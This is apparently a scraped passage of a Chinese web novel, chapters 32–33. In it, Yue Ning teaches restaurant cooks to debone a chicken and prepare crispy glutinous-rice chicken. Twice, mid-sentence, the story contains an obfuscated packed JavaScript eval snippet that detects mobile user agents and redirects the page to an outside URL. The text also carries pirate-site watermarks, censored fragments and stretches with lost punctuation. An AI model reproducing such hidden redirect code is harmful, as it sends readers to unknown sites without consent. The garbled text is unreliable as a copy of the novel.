岳宁看着他，认真地说：“爸爸说过，给周爷爷做菜，最有成就感。他一直想着回来再给您做菜，可惜没机会了。他做不了，我来做。周爷爷，您想吃我爸做过的哪个菜，我都给您做。” “真的？那就先给我做一份拆鱼羹吧！”周老爷子心里琢磨，西北鱼总是有的，这小姑娘大概也就拆鱼羹做得还像回事。 岳宁笑着追问：“不想吃脆皮糯米鸡？不想吃百花酿鸭掌？不想吃 冰镇咕噜肉？不想吃……” 岳宁一口气报出一个个菜名周老爷子不禁咽了咽口水这些可都是岳志荣的拿手菜也是如今福运楼要么做得不像样要么干脆就不会做的菜。他声音颤抖地问：“这些菜你都会做？” “虽说不敢说学到了十成但至少也有九成。”岳宁自信满满地说“我不说十成是因为在西北很多食材都没有爸爸只能用别的东西替代而且当时也没票正宗的那些菜连我自己都没吃过。不过我相信爸爸做菜的神韵我已经学到了。您对爸爸做的菜记忆最为深刻刚好可以帮我品鉴品鉴。” 岳宝华笑着说道：“三……周老宁宁手艺确实不错。也请您给我们祖孙俩这个机会一来能替志荣了却那个心愿二来也请您和宋局长、胡主任品鉴一下我们祖孙俩的手艺。” “周爷爷如果是在您家厨房您就挑些简单的菜。要是在福运楼后厨爸爸的拿手菜您尽管点反正我要是做得不对还有爷爷在旁边指点呢。”岳宁亲昵地靠着老爷子。 “那就放在福运楼后厨。也让那些年轻厨子开开眼界。”宋自强看向岳宝华问道“岳大厨您看这样可以吗？” “当然可以。” 岳宁要来纸笔递给周老爷子：“周爷爷您点菜吧！” 周老爷子看着她说道：“那我可真点了。” “您点呀！我爷爷在呢！” 周老爷子先写下“脆皮糯米鸡”又疑惑地问：“真能做出来？” “要不您再点个淮扬菜里的八宝葫芦鸭我给您鸡鸭一块儿做？” 老爷子的手一抖把刚写的划掉了这孩子胆子可真大！他接着写了“冰镇咕噜肉”又写了“子萝鸭片”。岳宁点头说：“都行。百花酿鸭掌您不吃吗？” 既然她说能做那就吃。 周老爷子点好菜岳宁拿起笔把拆鱼羹划掉改成古法蒸鲈鱼。她又在另一张纸上写下中午的菜品：拆鱼羹、古法炒牛河。 “周爷爷脆皮糯米鸡需要风干明天得花一整天时间。把拆鱼羹放在中午再加上干炒牛河这样简单吃一顿好不好？” “好好！” 岳宁开始列材料清单详细写清楚用料还有装饰材料。 岳宁把料单递给宋局长：“宋局长这些材料能买到吗？我还需要几件雕刻刀具也得麻烦福运楼帮忙准备一下。” “你还要做雕刻？”周老爷子问。 岳宁一脸理所当然：“爸爸说过粤菜北上能在上海和北京风靡 周老爷子越发来了兴致说：“明天你几点去福运楼我就几点去。” 宋局长也说：“我也一起去见识见识。” 第 32 章 脆皮糯米鸡 第32章第32章 【脆皮糯米鸡】 罗世昌做完午市,心头烦闷，出去透口气，点了一支烟抽着。 母子俩从西北回来,说刚好碰上岳宝华,还说志荣的女儿又野又精。他当时认为,最好的解决办法就是打消让国强去港城的念头。 但是丽芬说岳宝华在港城混得很好，这次岳宝华能去西北，全靠港城船王乔启明帮忙,而且还是乔启明的孙子陪同岳宝华去西北寻孙女。 这条路断了实在可惜，况且之前儿子对去港城并不热衷，他们让儿子娶志荣的女儿，儿子更是不情愿。现在国强倒是一门心思想去港城,说是要跟在志荣的女儿身边学做菜。 他刚开始没当回事,儿子做了一次拆鱼羹，他尝了味道,多年前的记忆被唤醒了。明明志荣比自己小五岁，明明自己那么努力，可自己只能按部就班,志荣不仅学得快,还能融会贯通。 志荣在西北都能把女儿教到这种程度，自己在福运楼，儿子已经算是有天分的了，却还不及人家。 要是儿子对做菜没兴趣也就算了，可儿子就想做个大厨,他们罗家好不容易又有一个可以继承衣钵的孩子。 昨天晚上他只能去求岳宝华,真的是跪下求了，岳宝华没答应,也没完全拒绝，接下来该怎么办呢？ “阿星，我还是劝你多考虑考虑，你要是去了港城，还想回福运楼就回不来了。现在外头回来的知青那么多，都在待岗。为了能进咱们这种单位，都打破了头。人家返城的知青，什么都没有，去闯一下也就算了，你这是为什么？” “然后呢？咱们在福运楼是个什么结果你不知道吗？福运楼的大师傅只能姓罗，你不知道吗？现在是罗世昌，二十年之后是罗国强，我就是一个会烧几个菜，但并不精通的厨子。可能十年二十年之后，什么利群饭店、为民饭店缺厨子了，把我调过去，做个大师傅，给人民群众炒个河粉、蒸个肠粉，做个味道算不上好也算不上坏的烧鸭吗？钱没有，名也别想有。我还不如去港城，他们说港城就是在饭馆里端盘子洗盘子也有千把块港币，折算下来一个月有三百块吧？我哪怕洗个十年盘子，至少钱挣上了。” “你别想得太简单，我听人说港城找工作也不是那么好找的，而且他们的房子租金很贵，还有人住在笼子里。我们 这里房子是单位的，生病有单位报销，退休有单位发退休金，港城你看上去赚得多，以后呢？ “那我也不想在罗世昌手里干活，不想给罗国强打一辈子下手。罗国强进了福运楼，切墩做过几天？我们呢？做了几年。 “罗师傅，张经理让您上来，局里的胡主任来了。一个声音从二楼办公室的窗口传来。 罗世昌仰头应了一声：“马上来。 他走出拐角，往自己徒弟马耀星和侯亚明看去，侯亚明有些紧张：“师傅。 那些话被听到了，马耀星索性也不掩饰了，连师傅也不叫他一声。 罗世昌心头火起，俗话说师傅领进门，修行在自身，他们这个行当，手艺人家，谁不给自己的子孙留一手？他哪儿对不起他们了？ 罗世昌上楼去，进了福运楼经理的办公室。 里面酒楼的经理和二商局办公室主任正在抽烟聊天，胡主任见了他，立马站起来递香烟：“罗师傅，抽烟抽烟。 他接过香烟，过去坐下。 胡主任抽着烟说：“罗师傅啊！港城宝华楼的老板，也就是您的师叔，岳宝华先生有意和我们福运楼合作，想要为我们培养年轻厨师。不知道你有没有听说？ 老婆儿子去西北，他们让国强去找岳宁结婚，对外说他爸到死都念着志荣，自己和岳志荣就像一个娘肚子里出来的亲兄弟，这会儿要说自己不知道，那不是奇怪了吗？ 他说：“昨天晚上宝华叔进酒店，我们父子俩就去了，聊起了如今福运楼的情况，我能力有限，致使好几个传统菜都失传了，没办法教给年轻的一代，宝华叔说让他想想。应该是这个缘故吧？ “那就是了。他通过乔启明乔老先生找到了朱副市长，朱副市长让新上任的宋局长去见了岳先生。刚好还有周宣雄周老爷子也在，一来岳先生要酬谢周老爷子，二来，也是给咱们福运楼的年轻厨子们演示一下‘脆皮糯米鸡’的做法。明天呢，宋局长和周老爷子要来。胡主任把菜单和材料单递过来，“你们按照这个单子准备，给老先生留好炉灶。还有前堂后厨打扫干净。宋局长今天中午来咱们楼吃饭，说我们的服务员，一点服务意识都没有，真不知道以后怎么服务华人华侨和外宾？ “今天宋局长来了？张经理问。 胡主任看着张经理说：“他让服务员叫经理了，等他吃完走了，你都没 出现。” 张经理这下慌了神全市的国营宾馆、酒楼粮油、副食品商店通通都归属于二商局二商局是他们的主管单位他就是局里派来福运楼的按照正常升迁他在福运楼做几年或者再去其他单位任职几年就要回局里。 “我根本不知道宋局长来了。局长要来您怎么也不提前跟我说一句？”张经理问。 “人家是新官上任我能凑上去瞎打听？”胡主任手指夹着烟说“他对福运楼的印象极差你们有个服务员还骂了周宣雄周老爷子你们不知道周老爷子是谁给他亲自翻案的吗？” 这一般人哪儿知道？只知道这位又出来了又开始到处找吃的了。这话只能心里知道又不能真这么跟胡主任说。 张经理只能认错陪小心：“是我工作不到位马上整改。” “那行你们好好准备。”胡主任掐灭了烟站起来。 张经理和罗世昌送了胡主任出门。 胡主任是局里的领导不了解他们酒楼的具体情况张经理下派到酒楼好几年了罗世昌是个什么性格他还是有点数的别说他自己没这个手艺就是手里有的比如烧腊的腌料和脆皮配方到现在都是他独自一人调配别说是教哪个徒弟了就是给人看一眼都不可能。罗世昌主动请他师叔教福运楼的厨子除非太阳打西边出来。 “罗师傅走！我跟你一起下去跟大家说说清楚明天的重要性。”张经理拍着罗世昌的肩。 “说什么？”罗世昌问。 经理虽然名义上统管整个酒楼但是管不了后厨后厨还是他这个大师傅说了算。 “明天新上任的宋局长一起过来厨房是重中之重可不能搞砸了。” 张经理是局里来的人 看着这个样子张经理胸口一阵堵得慌激将法对这帮人还有用吗？不管有没有用他还是清了清嗓子：“同志们我跟大家说个好消息。” 这句话像是一颗石子投进水里起了点波澜但不够大趴在桌上睡觉的人睁开了眼也有人连眼皮都没抬那个嗑瓜子、趴在窗口看外头的瓜子壳继续往外扔。 “我想大家都知道已故罗长发大厨有位在港城开酒楼的师弟岳宝华岳老先生吧？” 嗑瓜子的人停下了嘴边的动作等着后续。 “岳老先生这两天在粤城 张经理话还没说完马耀星哼笑出声：“不就是我师傅去找他师叔教国强吗？难不成他还会让他师叔来教我们？跟我们说这些话有什么用？” 说完他从嗑瓜子的那位大姐手里抢了几颗瓜子跟那位大姐一起嗑。 这群人干活不上心还满肚子怨气。 “这你就想错了。”张经理笑着说“你师傅请了岳大厨明天来咱们酒楼做脆皮糯米鸡岳大厨还找了局里岳大厨说要帮我们福运楼培训厨师。” “脆皮糯米鸡？”马耀星把瓜子还给了大姐眼睛里有了亮光“怎么培训？” 张经理走到马耀星面前：“初步设想是跟我们酒楼签订合作培训协议在我们酒楼挑三到四个有潜力的年轻厨师去港城宝华楼做两年学徒学手艺。两年以后回到咱们福运楼。” “港城人不要太精明哦！让我们拿福运楼的工资给他们白干是吧？”有人叫了出来。 马耀星仰头：“真的教脆皮糯米鸡？要真是这样一分不给我给他白做两年我也愿意。” “瞎说什么呢？人家才不想占你们便宜。是真心来帮忙提高技术的。”张经理拍着马耀星的肩膀“岳大厨一开始就提了按照港城厨子的七折工钱来给另外这三成钱也不是宝华楼不给而是港城的房租比较贵他要解决大家的住宿。” 这些话刚才胡主任可没说罗世昌也不知道所以岳宝华是什么意思？ “七折？港城的厨师多少一个月？” 张经理笑着说：“他说按照手艺评估中等的一千五到两千好的三四千。当然只是初步这么说具体能不能成还要看接下来同志们的表现。” 有人这么一算：“就是一千五港币打七折再换算成咱们的钱一个月也要三百我工资才三十七块八。” “关键是还能学手艺。” “这个岳大厨的手艺真那么好？”有人不太相信。 “传闻只是传闻哦！他比老罗师傅还厉害。” “还厉害？那得多厉害？” “岳大厨的手艺 ，我没见过，但是我来的时候，岳大厨的儿子岳志荣在，那确实有本事，我炒牛河还是他教我的。我现在都被人叫牛河邦了。”福运楼专炒牛河的阿邦说。 张经理环视了此刻已经像是打了鸡血的厨子们，尤其是这个马耀星，他知道这小子有点本事，也想学，就是学不到，怨气特别大，罗世昌几次三番说把他调走，只是其他单位现在都是子女在顶替，哪有合适的位子出来？ 他拍了拍马耀星的肩：“想要机会，自己去争取。” 张经理看向那几个服务员：“昨天谁给周宣雄上菜的？” “谁啊？” “我给老胖子上菜的，老胖子这么多年还没学乖，还摆出地主老财的臭架子，我就说了他两句，怎么了？” “到我办公室来。” 张经理转身离开，那个服务员撇了撇嘴跟上。 罗世昌也转头离开，眼见领导都走了，有人一把拉住罗国强，问：“国强，真是你爸去求的？” 罗国强沉默了一会儿说：“不是，我爸只为我求了岳爷爷。应该是岳爷爷和宁宁的想法，你们真想好好学，就抓住这个机会。” “就说嘛？就你爸，好事怎么可能想得到我们。岳大厨人还真不错，想着给你机会，还顺带给咱们一点机会。国强，我们中有谁能跟你一起出去，那是沾你光了。” 罗国强想到他爸妈做的那些事，有些泄气地说：“我可能比你们更难。” 福运楼有这么一件大事，当天晚市结束，大家还加班加点，打扫清理，有人满口怨言，有人心头火热，也有人心中惴惴不安。 * 第二天上午八点，二商局的宋局长和胡主任就去接了祖孙俩，再去接周老爷子。 周老爷子上了车，往岳宁手里塞了一个印着龙凤呈祥图案的纸盒，岳宁笑嘻嘻地打开，里面是双层的花生酥糖，她给大家分了一圈，再打开一块糖，吃进嘴里。 周老爷子看着她，岳宁说：“还是以前胖爷爷的味道。” 胖爷爷还那么胖，大胖丫头却又黑又瘦，周老爷子暗自叹息，他只能安慰自己，小岳不在了，老岳还在，孩子还有个依靠，会养回来的。 他又暗暗告诫自己，不管今天孩子做得好不好吃，他都要管住自己的嘴，多夸，少批评。 步行都不过十分钟的路程，更别说开车了，这不已经到了福运楼。 岳宁下了车，再次看到了 记忆中的福运楼，不过她的记忆大多在这种欧式建筑后边的小院里，那里有福运楼的托儿所，她每天就等着下午两点，爸爸休息了，给她带好吃的过来，陪她玩一会儿。爸爸晚市要上到九点，托儿所的张阿婆会先带她回家，爸爸下班后去张阿婆家接她，背她回家。 “宁宁，走了。岳宝华提醒正在发愣的孙女。 岳宁跟上，罗世昌和一个中年男子迎了过来。听宋局长和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912454|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡主任介绍，这个中年男子是福运楼的张经理。 张经理请大家一起进福运楼。 后厨排班是从早上十点做到晚上十点，有一组轮班休息。 这会儿还没到厨师上班的点，当班的、没当班的厨师学徒全来了，后厨显得有些拥挤。 罗世昌带着岳宝华到一个灶台前：“宝华叔，这是我的灶台，今天就交给您了。 罗世昌是主厨，主厨会做菜，但不常做菜，他的位子最好，用来展示和教学，确实最为合适。 “国强，你来介绍一下材料。罗世昌叫儿子过来。 罗国强走过来：“岳爷爷，您要的材料，都在这儿。 岳宁跟在岳宝华后面，全市所有主副食品都在二商局管辖之下，福运楼又有粤菜第一楼的招牌，周老爷子知道岳宁要做菜，要不是孩子非要说做那些复杂的菜，他是尽量挑常见的开，这些料备齐一点都不难。 岳宁弯腰看桌上的两只鸡，罗国强说：“这两只都是一百五十天童子鸡。 岳宁去洗了手，提起一只鸡：“这个纹路，这个肥度刚好。 她点头跟岳宝华说：“爷爷，我们换一下衣服马上开始。 “好。 祖孙俩一起做吗？ 岳宁和岳宝华转身出去，她见一个厚嘴唇的男人在跟她招手，她就算五岁时记忆不多，架不住爸爸一天到晚提：“你阿邦叔，就是那个嘴巴像挂了两根大辣椒的…… “阿邦叔。 “真的是宁宁啊！阿邦高兴地叫。 “是啊！是啊！爷爷去西北接我回来了呢！我先把鸡处理了。等下有空了跟您说话。岳宁跟牛河邦说。 “行，你忙！ 祖孙俩穿上了福运楼厨师服，戴上了厨师帽，一起到了案桌前。 岳宁看向爷爷说：“今天，我来做我爷爷和爸爸的拿手菜，脆皮糯米鸡。 大家提早过来，都是为了看岳宝华做这个脆皮糯米鸡，怎么成 了这个小姑娘做了？这不是跟罗世昌教罗国强一样了吗？ 他们家族传承，别人就在边上看看？ “昨天张经理可是说是岳大厨亲自给我们展示怎么做脆皮糯米鸡，这些年咱们这儿，老子带着儿子教大家做菜，可配料啊、手法啊，那都是回家说的。要是这个演示法，我看大家还是散场了，该干嘛干嘛去？别浪费时间了。马耀星说道，“天底下哪有这么好的事？把拿手绝活传给你？ 张经理都快气**，领导都在呢！这个马耀星怎么就一点纪律都没有？ 他拦住了带头转身的马耀星：“你们干什么呢？ “张经理，让他走。他这是怕丢人，比我大十来岁，基本功还不如我，整鸡脱骨都不会。岳宁笑呵呵地说。 马耀星听见她这么大言不惭的话，转身过来：“你……整鸡脱骨？ “我知道你不会，但是我会啊！岳宁笑嘻嘻地走到他面前，“今天我不要我爷爷搭手了，就你过来给我打下手，除了整鸡脱骨，这个要练，我没办法一天之内教会你。其他环节，我要是有一个配料没讲到位，我就不配做岳志荣的女儿。怎么样？ 马耀星将信将疑地看着她，想起牛河邦说的话，岳志荣在的时候，什么都肯说。 “你会整鸡脱骨？他问，“鸡背上的皮不会破？ “你练过？岳宁问他，“别的地方都不破，就鸡背上破？ “对。马耀星回答道。 “你再确定一遍，其他地方都会了，就只有这个地方不会？岳宁再次向他确认。 “就是背脊这块皮太薄，没什么肉，每次都会弄破一个小口子。马耀星说道。 岳宁略带嫌弃地啧了一声：“哎哟，这得糟蹋了好多只□□？ 侯亚明接话道：“是啊！只要是用来生炒鸡丁、做鸡块的鸡，都被阿星拿去练手了。阿星在咱们这儿，刀工是最好的，炒菜火候掌握得也最到位。 刚才马耀星要走，他说罗世昌只肯教自己儿子，调料配方根本不肯传授给徒弟。刀工靠练习就能提升，炒菜时，罗世昌也没法避开旁人，大家还能边看边琢磨，唯独调料这一块，如果自身厨艺还没达到炉火纯青的地步，想要靠自己调配出合适的味道，难度可就大多了。 岳宁兴奋地说：“那行啊！这两只鸡，一只我来处理，一只你来，我教你，保证学会，学不会我负责。 “负责什么呀？”下面有人好奇地问。 “让我爷爷教你，直到教会为止。”岳宁笑着说，“这么看，是不是稳赚不赔呀？” 她这番话风趣幽默，引得众人哄堂大笑，一下子缓解了刚才紧张的气氛。 有**声喊道：“阿星，快上去。” 岳宁连忙招手：“快点，快点，这道菜制作时间挺长的，要是到时候味道没渗透进去，风干效果不好，上色也不均匀，我丢脸倒无所谓，可要是丢了我爷爷的脸，那可就糟糕了。” 侯亚明一把拉着马耀星走到前面：“来了，来了。” 岳宁对岳宝华说：“爷爷，您让一让。” 岳宝华微笑着让到一旁，走到周老爷子身边。周老爷子抬头看着上面，问道：“岳师傅，宁宁真能做好这些菜吗？” 说的域名ｃａｉｘｓ．ｃｏｍ?(请来才小 说 看最新章节 完整章节) 岳宝华其实也没见过孙女做这些菜，但这些天的相处让他相信，孙女既然说能行，那就一定行。他充满信心地回答：“没问题。” 岳宁看向身旁的大个子厨子，问道：“你叫阿星，对吧？” “马耀星。”他回应道。 见马耀星低着头，岳宁说道：“阿星，学手艺最忌讳的就是害羞不敢提问，有什么不懂的，马上就问，明白吗？” “他呀，最不缺的就是胆子，根本不知道啥叫害羞。”下面有人笑着调侃。 岳宁点头：“那再好不过了，咱们开始吧。” 第 33 章 后厨教学 第33章第33章 【后厨教学】 岳宁看着围拢的众人,开口说道：“大家好，今天由我来主讲粤城福运楼的一道名菜，脆皮糯米鸡。” 她转头看向马耀星：“阿星,你知道这道菜背后的典故吗？” “我知道。据说民国时期,咱们粤城有个大富豪,他母亲爱吃烧鸡，却嫌骨头多，于是他们家的大厨就创制了这道菜。里面是软糯的糯米,混合着火腿、瑶柱……”马耀星对典故颇为熟悉。 “这些名菜，往往都得琢磨出这么一个故事，为饮食增添一些趣味性。”岳宁笑了一声，“透过现象看本质,当一个城市发展到一定阶段,吃饱吃好已无法满足某些人的需求，于是在‘吃饱了撑着’的基础上,就搞出了诸多花样。淮扬菜里有八宝葫芦鸭，是因为扬州盐商云集，吃东西追求新奇精巧。咱们这脆皮糯米鸡也是如此,粤城成为通商口岸后,西关和东山**了大批巨富，正所谓‘食不厌精，脍不厌细’。有周爷爷这样的食客，也就催生了工艺复杂的脆皮糯米鸡。” 马耀星点头：“原来是这样。” “随着新中国成立，我们主要服务劳动人民,劳动人民的需求就是吃饱吃好。这些菜有没有,似乎也无关紧要了。如今改革开放，粤城凭借独特的地理位置,外商和游客纷至沓来。以福运楼的地位，这些菜咱们就应该掌握。”岳宁把一只鸡递给马耀星，自己面前放一只鸡，“现在，我们开始去鸡骨。” 岳宁提起这只鸡：“这是一只一百五十天左右、三斤上下的鸡，一只鸡有四十四个关节……” 岳宁详细介绍各个部位，讲得十分细致，马耀星听得格外认真，即便这些部位他已摸过千百回。 岳宁拿起刀，先切鸡脚：“知道我为什么不沿着关节切吗？” “离开关节一指宽斩断鸡脚，要是沿着关节切，待会儿关节处会漏，就不是布袋鸡的效果了。”马耀星回答。 “对。” 岳宁把鸡放在案板上，沿着鸡背往上摸鸡脖子，停在鸡脖根处，说：“我们从这里切开鸡脖子的皮，要在鸡肩上一寸处停下。” 马耀星微微张嘴：“原来是从鸡背切啊？” “从这里往下脱，鸡背的皮才能完整，你是从鸡胸下刀？” “是啊。” “那确实难度较大，从 鸡背开始，会更方便，也容易完整脱骨。”岳宁边说边分离鸡皮，斩断了鸡脖子。 岳宁用刀后端，切鸡翅肩关节，她做完一步就等一会儿马耀星：“阿星，这边，对对对，切断就行。” 看着岳宁一步步操作，周老爷子对岳宝华说：“志荣是怎么教宁宁的？这没有多年的功底，怎么学得会？” 岳宝华哪里知道？不过他已然不想探究了，反正孙女会什么，他都不会感到意外。 前面几步完成后，岳宁说：“来了啊！要剥脊背皮了。” 马耀星抬手擦了擦额头的汗，点头示意自己准备好了。 岳宁用刀背轻轻敲鸡的背部，十分小心地剥鸡皮：“用刀背慢慢来，这确实有难度。” 马耀星学着她的动作，一点点地剥。 别说他们俩额头冒汗，其他人也都跟着紧张得冒汗：“这简直就是让大老爷们绣花啊！” 看着他们把鸡翻来翻去，骨头拆了出来，岳宁每一步都显得轻松自如，马耀星则时不时用脑袋蹭蹭肩膀擦汗。 最后一根骨头斩断，岳宁提起鸡说：“拿杯水来。” 有人拿来一杯水，岳宁让他从鸡脖子处灌进去，她提着鸡，水丝毫不漏。 大家掌声雷动，岳宁说：“看看阿星的。” 这人也去给马耀星的那只鸡灌水，岳宁看着马耀星额头的汗，像小溪流一样汇聚到脸上，再流到下巴，成串落下，便说道：“阿星，这水不是灌进鸡肚子里，而是灌进你肚子里了吧？” 她话音刚落，水已经灌进鸡肚子，马耀星拎着鸡高声喊道：“没漏，一点儿都没漏。” 岳宁带头为他鼓掌：“我不是说了吗？包学包会，学不会负责到底。” 大家一同鼓掌，马耀星手里提着鸡，转身向她鞠躬：“师傅。” 这可是当着罗世昌的面，近乎叛出师门了？ 岳宁伸手做出拒绝的手势：“阿星，你这么做就不对了。” 马耀星仿佛被泼了一盆冷水，看着岳宁。 “你听我说。有今天这个机会，是因为我们得知福运楼如今青黄不接，手艺传承出现问题。作为从福运楼出去的老厨子，作为福运楼厨子的女儿，我们恰好有这手艺，想让这些手艺重回福运楼。从合作层面来讲，是福运楼委托宝华楼培养厨师。倘若福运楼把你送到宝华楼，我们并非传统意义上的师徒关系，就如同你小学毕业升入初中，我只是 你某个阶段、某门课程的老师。真有这样的机会你只需记住是福运楼要培养你。对宝华楼而言 宋自强拍手称赞：“小岳说得好此次合作的目的是提升福运楼厨师的手艺这是福运楼给予大家的机会希望大家珍惜这来之不易的机遇。” 马耀星不好意思地笑了笑：“那我叫你‘小岳师傅’。” 岳宁笑着点头：“这个称呼可以。我爷爷是老岳师傅爸爸是岳师傅我是小岳师傅。” 岳宁去洗了手从包里拿出几张纸交给刚才推马耀星上前的那个人说：“找糯米鸡腌料配方。” 侯亚明翻看脆皮水配方、卤水配方、糯米鸡腌料配方说道：“找到了。” “好了啊！我们接着来。现在我们要做道‘数学题’了。”岳宁对马耀星说“称一下两张鸡皮囊总共多重。” 马耀星赶忙去拿来秤称了一下说：“一共两斤三两。” 岳宁站在侯亚明身旁说：“念给他听让阿星配腌料。” “每五百克鸡皮囊加盐……”侯亚明念着方子马耀星一边换算一边称量手忙脚乱对侯亚明说：“你慢点。” 大家看他窘迫的样子都忍不住笑。等他放好调料岳宁过去又从盐杯里舀了一小勺盐添进去问道：“知道为什么要比配方多加一点点盐吗？” 马耀星不太明白罗国强说：“这两只鸡比较肥皮里油多不太容易入味。” “就是这个原因。”岳宁肯定了罗国强的说法。 她又对马耀星说：“搓揉一下腌制四十五分钟。” 这时上班铃声响起岳宁说：“当班的厨师该干什么就干什么去。今天做的菜的方子我都留在这里了大家有疑问也别急于一时我还要办理去港城的手续会在粤城待一段时间。” 岳宁看向宋局长：“宋局长应该会让我来和大家交流吧？” “求之不得。”宋局长已从周老爷子那里得到肯定答复岳宁这一手连很多老厨子都难以企及。 而且老爷子告诉他岳宁确实了得这个马耀星也有真本事。一般没功底的厨子即便有人指导也很难一次就脱骨成功。 “好了好了大家各就各位炒菜的去炒菜别耽误客人用餐。”岳宁说道。 张经理说：“宋局长、胡主任、周老、岳老板，要不要去办公室坐坐？ 周老爷子摇头：“我就在这儿看着，你们去吧。 “我一辈子都是厨子，就待在后厨。岳宝华说道。 宋自强本就有话要和张经理说，便说：“那我们先去坐坐。周老，麻烦您帮忙招呼客人。 “知道，知道。 罗世昌过来让大家去干活，一大半人都走了，剩下四五个不当班的厨子，继续围着岳宁。 罗国强今天不当班，昨夜爸妈在家吵了起来，他爸埋怨他妈出了让他去娶岳宁的馊主意，要是没有那件事，以他们之间的关系，提出让岳宝华带他去港城教手艺肯定没问题。如今偷鸡不成蚀把米，而且他们还不清楚岳宝华的想法。 他妈说岳宝华没什么心思，还说岳宁又野又精明，只怕全是这小丫头的主意。 还说肯定是岳宝华怕被人骂没良心，岳宁才出这么个主意，让福运楼其他厨师受益，那些没良心的小子本来就恨他们，现在还不得顺着竿子往上爬？ 他妈哭得稀里哗啦，其实最想哭的是他自己，却有苦难言。从一开始他就不愿意，还跟爸妈说过，自从爷爷去世后，他们一家子都没关心过志荣叔父女，还想出这么个主意。 自己从小被爸妈安排惯了，闹了一下也拗不过，只能跟着妈去了。将心比心，自己要是岳宁，遇到这种事，肯定看见这一家子都怕了，怎么可能还带他去港城呢？ 他辗转反侧，整晚都没睡好，恨自己没主见。 此刻，他提起一整只鸡皮囊，岳宁脱骨手法娴熟，马耀星也是一次性就成功脱骨，他自问自己做不到。 他爷爷是大厨，他爸也是大厨，他进福运楼后，做过切墩，但没做多久，很快就做打荷，然后上了灶台。 一直以来，他总觉得自己只是比别人少了几年切墩和打荷的经历，还总认为马耀星心胸狭隘，再怎么说，他爸也是马耀星的师傅。都说师傅领进门，修行靠个人。 马耀星把手艺不好全怪在他爸头上，未免太没良心了。 可现在看着这鸡皮囊，他不再这么想了，自己不能去港城，不能跟在岳爷爷身边学手艺，已经难过到睡不着觉。 马耀星呢？这么多年一直努力，却始终被压制，没有出头之日。 自己呢？连基本功都没打好，凭什么想去港城？ 罗国强神情 落寞，悄悄往外走，周老爷子看到孩子往外走，喊了一声：“国强，你今天当班吗？” 罗国强转过身，马耀星说：“他和我一个班。” “那你走什么？你爸都不会做脆皮糯米鸡，你不留在这儿看？”周老爷子说，这孩子平时不是最喜欢钻研厨艺吗？ 罗国强勉强扯出一抹笑容：“我去上个厕所，一会儿就来。” 岳宁看着罗国强的背影，罗国强她要用，但不能被那对夫妻裹挟着用，她对马耀星说：“我们泡发香菇、瑶柱和海米。鸡汤应该有吧？” “有。”马耀星把这几样拿过来。 岳宁说：“你来泡发。” “我来？” “这个不用我教吧？” 岳宁拿起猪脚和猪皮扔进大锅焯水，周老爷子问她：“你这是做什么？” “凉菜，白卤猪蹄。得焖煮四个小时，还要冷藏。”岳宁见马耀星已经弄好，便叫道：“阿星，我教你做潮州白卤猪蹄。” “来了。”马耀星跑得飞快。 岳宁抽了一张方子给他：“猪蹄焯水后，你来卤。我准备一下宋局长他们的午饭。” 来的路上商量好了，中午就简单点，岳宁做个拆鱼羹，炒个牛河，大家吃一口，晚上才是重头戏。 “好的，好的。” 岳宁见罗国强进来，便说：“国强，你不是想看我做拆鱼羹吗？去杀一条花鲢来。” 罗国强本已心灰意冷，却没想到岳宁会让他去杀鱼，顿时惊喜道：“好。” 罗国强拿了一张卡片，提了一个桶去后院，粤菜讲究新鲜，后院里养着活鱼、活鸡、活鸭，甚至还有一条条盘着的大王蛇。 守着这个仓库的是一位还有两三年就要退休的残疾大爷，罗国强喊了一声：“阿光叔，我领一条花鲢。” 大爷嘴里叼着一支烟，收了卡片，拿了网兜，从鱼池里捞了一条花鲢：“国强，你怎么来了？” “我自己来杀条鱼。”罗国强提起花鲢，到水池边杀鱼。 一个切墩的学徒提着桶，嚷嚷道：“阿光叔，我要一只童子鸡。” 大爷挑了一只鸡给学徒，收了卡片，从鸡笼里提了一只鸡出来。 学徒走过来：“国强哥，你不去看那个岳……” “岳宁。”罗国强帮他把话说完整。 “对，岳宁做菜。”学徒问，“那你来这儿干啥？” “岳宁让我来杀条鱼。” “她都 敢让你来杀鱼？她不知道你是谁吗？”学徒杀鸡放血用热水冲下去“杀鱼这种事怎么能让你做？” 罗国强刮鱼鳞的手停顿了一下。 学徒看见罗国强一条鱼还没杀完说：“国强哥你杀鱼怎么跟我妈似的都不像是在饭店干过的。” 罗国强刚觉得心头一堵学徒就把他挤到一边：“我来我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912455|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 学徒把鱼正反一翻肚子一划水一冲 说的域名ｃａｉｘｓ?(请来才小 说 看最新章节 完整章节)把鱼扔进罗国强的桶里自己去拔鸡毛了。 “谢谢！” 罗国强拎着桶里的鱼回厨房厨房里岳宁正在切配菜。上次他见过岳宁的刀工那时他就觉得岳宁刀工厉害不过他爸告诉他刀工不是最重要的这些都有其他人做自己把菜炒好才是关键。 问题是他切菜切不好炒菜也比不上岳宁。 “岳师傅您这刀工太厉害了我做了五六年切墩都比不上啊！”马耀星过来问“卤猪蹄里为啥要加这么多猪皮？” “下午你就知道了。”岳宁把配菜码放进盘里。 罗国强帮她把鱼放在案板上花鲢比鲫鱼大多了剔骨去刺也简单多了。 “国强走咱们去煎鱼了。”岳宁拿了碗走向灶台。 这里不像乡间油要省着用该油锅就油锅该放什么就放什么。 